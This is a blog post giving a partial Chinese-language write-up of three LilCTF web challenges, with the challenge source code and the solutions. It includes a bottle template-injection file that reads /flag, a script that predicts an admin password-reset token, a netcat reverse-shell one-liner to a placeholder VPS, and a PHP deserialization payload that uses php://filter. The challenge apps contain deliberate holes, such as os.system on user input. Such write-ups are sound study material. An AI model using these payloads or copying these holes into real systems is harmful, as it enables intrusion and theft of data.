Lilctf_web_wp(部分)

ez_bottle

from bottle import route, run, template, post, request, static_file, error
import os
import zipfile
import hashlib
import time

# hint: flag in /flag , have a try

UPLOAD_DIR = os.path.join(os.path.dirname(__file__), 'uploads')
os.makedirs(UPLOAD_DIR, exist_ok=True)

STATIC_DIR = os.path.join(os.path.dirname(__file__), 'static')
MAX_FILE_SIZE = 1 * 1024 * 1024

BLACK_DICT = ["{", "}", "os", "eval", "exec", "sock", "<", ">", "bul", "class", "?", ":", "bash", "_", "globals",
              "get", "open"]


def contains_blacklist(content):
    return any(black in content for black in BLACK_DICT)


def is_symlink(zipinfo):
    return (zipinfo.external_attr >> 16) & 0o170000 == 0o120000


def is_safe_path(base_dir, target_path):
    return os.path.realpath(target_path).startswith(os.path.realpath(base_dir))


@route('/')
def index():
    return static_file('index.html', root=STATIC_DIR)


@route('/static/<filename>')
def server_static(filename):
    return static_file(filename, root=STATIC_DIR)


@route('/upload')
def upload_page():
    return static_file('upload.html', root=STATIC_DIR)


@post('/upload')
def upload():
    zip_file = request.files.get('file')
    if not zip_file or not zip_file.filename.endswith('.zip'):
        return 'Invalid file. Please upload a ZIP file.'

    if len(zip_file.file.read()) > MAX_FILE_SIZE:
        return 'File size exceeds 1MB. Please upload a smaller ZIP file.'

    zip_file.file.seek(0)

    current_time = str(time.time())
    unique_string = zip_file.filename + current_time
    md5_hash = hashlib.md5(unique_string.encode()).hexdigest()
    extract_dir = os.path.join(UPLOAD_DIR, md5_hash)
    os.makedirs(extract_dir)

    zip_path = os.path.join(extract_dir, 'upload.zip')
    zip_file.save(zip_path)

    try:
        with zipfile.ZipFile(zip_path, 'r') as z:
            for file_info in z.infolist():
                if is_symlink(file_info):
                    return 'Symbolic links are not allowed.'

                real_dest_path = os.path.realpath(os.path.join(extract_dir, file_info.filename))
                if not is_safe_path(extract_dir, real_dest_path):
                    return 'Path traversal detected.'

            z.extractall(extract_dir)
    except zipfile.BadZipFile:
        return 'Invalid ZIP file.'

    files = os.listdir(extract_dir)
    files.remove('upload.zip')

    return template("文件列表: {{files}}\n访问: /view/{{md5}}/{{first_file}}",
                    files=", ".join(files), md5=md5_hash, first_file=files[0] if files else "nofile")


@route('/view/<md5>/<filename>')
def view_file(md5, filename):
    file_path = os.path.join(UPLOAD_DIR, md5, filename)
    if not os.path.exists(file_path):
        return "File not found."

    with open(file_path, 'r', encoding='utf-8') as f:
        content = f.read()

    if contains_blacklist(content):
        return "you are hacker!!!nonono!!!"

    try:
        return template(content)
    except Exception as e:
        return f"Error rendering template: {str(e)}"


@error(404)
def error404(error):
    return "bbbbbboooottle"


@error(403)
def error403(error):
    return "Forbidden: You don't have permission to access this resource."


if __name__ == '__main__':
    run(host='0.0.0.0', port=5000, debug=False)

渲染上传的zip文件
ai写的上传文件的代码：

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>ZIP文件上传</title>
    <style>
        body {
            font-family: sans-serif;
            padding: 20px;
        }
        .upload-form {
            max-width: 500px;
            margin: 0 auto;
            padding: 20px;
            border: 1px solid #ddd;
            border-radius: 5px;
        }
        .form-group {
            margin-bottom: 15px;
        }
        label {
            display: block;
            margin-bottom: 8px;
            font-weight: bold;
        }
        input[type="file"] {
            width: 100%;
            padding: 8px;
            box-sizing: border-box;
        }
        button {
            background-color: #007bff;
            color: white;
            border: none;
            padding: 10px 20px;
            border-radius: 5px;
            cursor: pointer;
        }
        button:hover {
            background-color: #0056b3;
        }
        .tips {
            color: #666;
            font-size: 0.9em;
            margin-top: 5px;
        }
    </style>
</head>
<body>
    <div class="upload-form">
        <h2>上传ZIP文件</h2>
        <!-- 表单提交地址指向目标服务器的/upload路由 -->
        <form action="http://challenge.xinshi.fun:45067/upload" method="POST" enctype="multipart/form-data">
            <div class="form-group">
                <label for="file">选择ZIP文件：</label>
                <!-- name="file"必须与后端request.files.get('file')对应 -->
                <input type="file" id="file" name="file" accept=".zip" required>
                <p class="tips">
                    要求：仅支持ZIP格式，大小不超过1MB，禁止包含符号链接、路径穿越内容或黑名单关键词。
                </p>
            </div>
            <button type="submit">上传文件</button>
        </form>
    </div>
</body>
</html>

zip文件内容：

% import fileinput
% raise Exception('\n'.join(fileinput.input('/flag')))

直接读取flag

Ekko_note

# -*- encoding: utf-8 -*-
'''
@File    :   app.py
@Time    :   2066/07/05 19:20:29
@Author  :   Ekko exec inc. 某牛马程序员 
'''
import os
import time
import uuid
import requests

from functools import wraps
from datetime import datetime
from secrets import token_urlsafe
from flask_sqlalchemy import SQLAlchemy
from werkzeug.security import generate_password_hash, check_password_hash
from flask import Flask, render_template, redirect, url_for, request, flash, session

SERVER_START_TIME = time.time()


# 欸我艹这两行代码测试用的忘记删了，欸算了都发布了，我们都在用力地活着，跟我的下班说去吧。
# 反正整个程序没有一个地方用到random库。应该没有什么问题。
import random
random.seed(SERVER_START_TIME)


admin_super_strong_password = token_urlsafe()
app = Flask(__name__)
app.config['SECRET_KEY'] = 'your-secret-key-here'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///site.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False

db = SQLAlchemy(app)

class User(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(20), unique=True, nullable=False)
    email = db.Column(db.String(120), unique=True, nullable=False)
    password = db.Column(db.String(60), nullable=False)
    is_admin = db.Column(db.Boolean, default=False)
    time_api = db.Column(db.String(200), default='https://api.uuni.cn//api/time')


class PasswordResetToken(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
    token = db.Column(db.String(36), unique=True, nullable=False)
    used = db.Column(db.Boolean, default=False)


def padding(input_string):
    byte_string = input_string.encode('utf-8')
    if len(byte_string) > 6: byte_string = byte_string[:6]
    padded_byte_string = byte_string.ljust(6, b'\x00')
    padded_int = int.from_bytes(padded_byte_string, byteorder='big')
    return padded_int

with app.app_context():
    db.create_all()
    if not User.query.filter_by(username='admin').first():
        admin = User(
            username='admin',
            email='admin@example.com',
            password=generate_password_hash(admin_super_strong_password),
            is_admin=True
        )
        db.session.add(admin)
        db.session.commit()

def login_required(f):
    @wraps(f)
    def decorated_function(*args, **kwargs):
        if 'user_id' not in session:
            flash('请登录', 'danger')
            return redirect(url_for('login'))
        return f(*args, **kwargs)
    return decorated_function

def admin_required(f):
    @wraps(f)
    def decorated_function(*args, **kwargs):
        if 'user_id' not in session:
            flash('请登录', 'danger')
            return redirect(url_for('login'))
        user = User.query.get(session['user_id'])
        if not user.is_admin:
            flash('你不是admin', 'danger')
            return redirect(url_for('home'))
        return f(*args, **kwargs)
    return decorated_function

def check_time_api():
    user = User.query.get(session['user_id'])
    try:
        response = requests.get(user.time_api)
        data = response.json()
        datetime_str = data.get('date')
        if datetime_str:
            print(datetime_str)
            current_time = datetime.fromisoformat(datetime_str)
            return current_time.year >= 2066
    except Exception as e:
        return None
    return None
@app.route('/')
def home():
    return render_template('home.html')

@app.route('/server_info')
@login_required
def server_info():
    return {
        'server_start_time': SERVER_START_TIME,
        'current_time': time.time()
    }
@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form.get('username')
        email = request.form.get('email')
        password = request.form.get('password')
        confirm_password = request.form.get('confirm_password')

        if password != confirm_password:
            flash('密码错误', 'danger')
            return redirect(url_for('register'))

        existing_user = User.query.filter_by(username=username).first()
        if existing_user:
            flash('已经存在这个用户了', 'danger')
            return redirect(url_for('register'))

        existing_email = User.query.filter_by(email=email).first()
        if existing_email:
            flash('这个邮箱已经被注册了', 'danger')
            return redirect(url_for('register'))

        hashed_password = generate_password_hash(password)
        new_user = User(username=username, email=email, password=hashed_password)
        db.session.add(new_user)
        db.session.commit()

        flash('注册成功，请登录', 'success')
        return redirect(url_for('login'))

    return render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')

        user = User.query.filter_by(username=username).first()
        if user and check_password_hash(user.password, password):
            session['user_id'] = user.id
            session['username'] = user.username
            session['is_admin'] = user.is_admin
            flash('登陆成功，欢迎!', 'success')
            return redirect(url_for('dashboard'))
        else:
            flash('用户名或密码错误!', 'danger')
            return redirect(url_for('login'))

    return render_template('login.html')

@app.route('/logout')
@login_required
def logout():
    session.clear()
    flash('成功登出', 'info')
    return redirect(url_for('home'))

@app.route('/dashboard')
@login_required
def dashboard():
    return render_template('dashboard.html')

@app.route('/forgot_password', methods=['GET', 'POST'])
def forgot_password():
    if request.method == 'POST':
        email = request.form.get('email')
        user = User.query.filter_by(email=email).first()
        if user:
            # 选哪个UUID版本好呢，好头疼 >_<
            # UUID v8吧，看起来版本比较新
            token = str(uuid.uuid8(a=padding(user.username))) # 可以自定义参数吗原来，那把username放进去吧
            reset_token = PasswordResetToken(user_id=user.id, token=token)
            db.session.add(reset_token)
            db.session.commit()
            # TODO：写一个SMTP服务把token发出去
            flash(f'密码恢复token已经发送，请检查你的邮箱', 'info')
            return redirect(url_for('reset_password'))
        else:
            flash('没有找到该邮箱对应的注册账户', 'danger')
            return redirect(url_for('forgot_password'))

    return render_template('forgot_password.html')

@app.route('/reset_password', methods=['GET', 'POST'])
def reset_password():
    if request.method == 'POST':
        token = request.form.get('token')
        new_password = request.form.get('new_password')
        confirm_password = request.form.get('confirm_password')

        if new_password != confirm_password:
            flash('密码不匹配', 'danger')
            return redirect(url_for('reset_password'))

        reset_token = PasswordResetToken.query.filter_by(token=token, used=False).first()
        if reset_token:
            user = User.query.get(reset_token.user_id)
            user.password = generate_password_hash(new_password)
            reset_token.used = True
            db.session.commit()
            flash('成功重置密码！请重新登录', 'success')
            return redirect(url_for('login'))
        else:
            flash('无效或过期的token', 'danger')
            return redirect(url_for('reset_password'))

    return render_template('reset_password.html')

@app.route('/execute_command', methods=['GET', 'POST'])
@login_required
def execute_command():
    result = check_time_api()
    if result is None:
        flash("API死了啦，都你害的啦。", "danger")
        return redirect(url_for('dashboard'))

    if not result:
        flash('2066年才完工哈，你可以穿越到2066年看看', 'danger')
        return redirect(url_for('dashboard'))

    if request.method == 'POST':
        command = request.form.get('command')
        os.system(command) # 什么？你说安全？不是，都说了还没完工催什么。
        return redirect(url_for('execute_command'))

    return render_template('execute_command.html')

@app.route('/admin/settings', methods=['GET', 'POST'])
@admin_required
def admin_settings():
    user = User.query.get(session['user_id'])
    
    if request.method == 'POST':
        new_api = request.form.get('time_api')
        user.time_api = new_api
        db.session.commit()
        flash('成功更新API！', 'success')
        return redirect(url_for('admin_settings'))

    return render_template('admin_settings.html', time_api=user.time_api)

if __name__ == '__main__':
    app.run(debug=False, host="0.0.0.0")

需要admin管理员权限，并需要得到token。
注册一个账号并登录，

@app.route('/server_info')
@login_required
def server_info():
    return {
        'server_start_time': SERVER_START_TIME,
        'current_time': time.time()
    }

访问/server_info，返回时间

令牌生成逻辑：token = str(uuid.uuid8(a=padding(user.username)))

   def padding(input_string):
       byte_string = input_string.encode('utf-8')
       if len(byte_string) > 6: byte_string = byte_string[:6]
       padded_byte_string = byte_string.ljust(6, b'\x00')
       padded_int = int.from_bytes(padded_byte_string, byteorder='big')
       return padded_int

计算token：

import random
import uuid
seed=1755433499.9560566
random.seed(seed)
def padding(input_string):
    byte_string = input_string.encode('utf-8')
    if len(byte_string) > 6: byte_string = byte_string[:6]
    padded_byte_string = byte_string.ljust(6, b'\x00')
    padded_int = int.from_bytes(padded_byte_string,byteorder='big')
    return padded_int
print(uuid.uuid8(a=padding('admin')))

登陆成功：

在vps上开一个返回{"date": "3000-01-01 00:00:00"}形式时间的服务：

from datetime import datetime, timedelta
@app.route("/", methods=["GET"])
def get_time():
    future_time = (datetime.now() + timedelta(days=365*1000)).strftime("%Y-%m-%d %H:%M:%S")
    return jsonify({"date": future_time})

保存api，反弹shell（真抽象）

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc vpsip 9999 >/tmp/f

Your Uns3r

 <?php
highlight_file(__FILE__);
class User
{
    public $username;
    public $value;
    public function exec()
    {
        $ser = unserialize(serialize(unserialize($this->value)));
        if ($ser != $this->value && $ser instanceof Access) {
            include($ser->getToken());
        }
    }
    public function __destruct()
    {
        if ($this->username == "admin") {
            $this->exec();
        }
    }
}

class Access
{
    protected $prefix;
    protected $suffix;

    public function getToken()
    {
        if (!is_string($this->prefix) || !is_string($this->suffix)) {
            throw new Exception("Go to HELL!");
        }
        $result = $this->prefix . 'lilctf' . $this->suffix;
        if (strpos($result, 'pearcmd') !== false) {
            throw new Exception("Can I have peachcmd?");
        }
        return $result;

    }
}

$ser = $_POST["user"];
if (strpos($ser, 'admin') !== false && strpos($ser, 'Access":') !== false) {
    exit ("no way!!!!");
}

$user = unserialize($ser);
throw new Exception("nonono!!!");

构造利用链：

<?php
class User {
    public $username;
    public $value;
}

class Access {
    protected $prefix= "php://filter/";
    protected $suffix= "convert.base64-encode/resource=/flag";
}

$access = new Access();

$accessStr = serialize($access);
$doubleSerialized = serialize($accessStr);

$user = new User();
$user->username =0; 
$user->value = $doubleSerialized; 

$payload = serialize($user);
echo $payload;

O:4:"User":2:{s:8:"username";i:0;s:5:"value";s:123:"s:114:"O:6:"Access":2:{s:9:"*prefix";s:13:"php://filter/";s:9:"*suffix";s:36:"convert.base64-encode/resource=/flag";}";";}

因为修饰符protected ，需要对生成的payload做点修改：加上*改为%00*%00，同时将s:123:"删除

O:4:"User":2:{s:8:"username";i:0;s:5:"value";s:114:"O:6:"Access":2:{s:9:"%00*%00prefix";s:13:"php://filter/";s:9:"%00*%00suffix";s:36:"convert.base64-encode/resource=/flag";}";";}

posted @ 2025-08-18 19:08 冷鸢fleurs 阅读(94) 评论(0) 收藏举报

刷新页面返回顶部

fleurs

Lilctf_web_wp(部分)

ez_bottle

Ekko_note

Your Uns3r

公告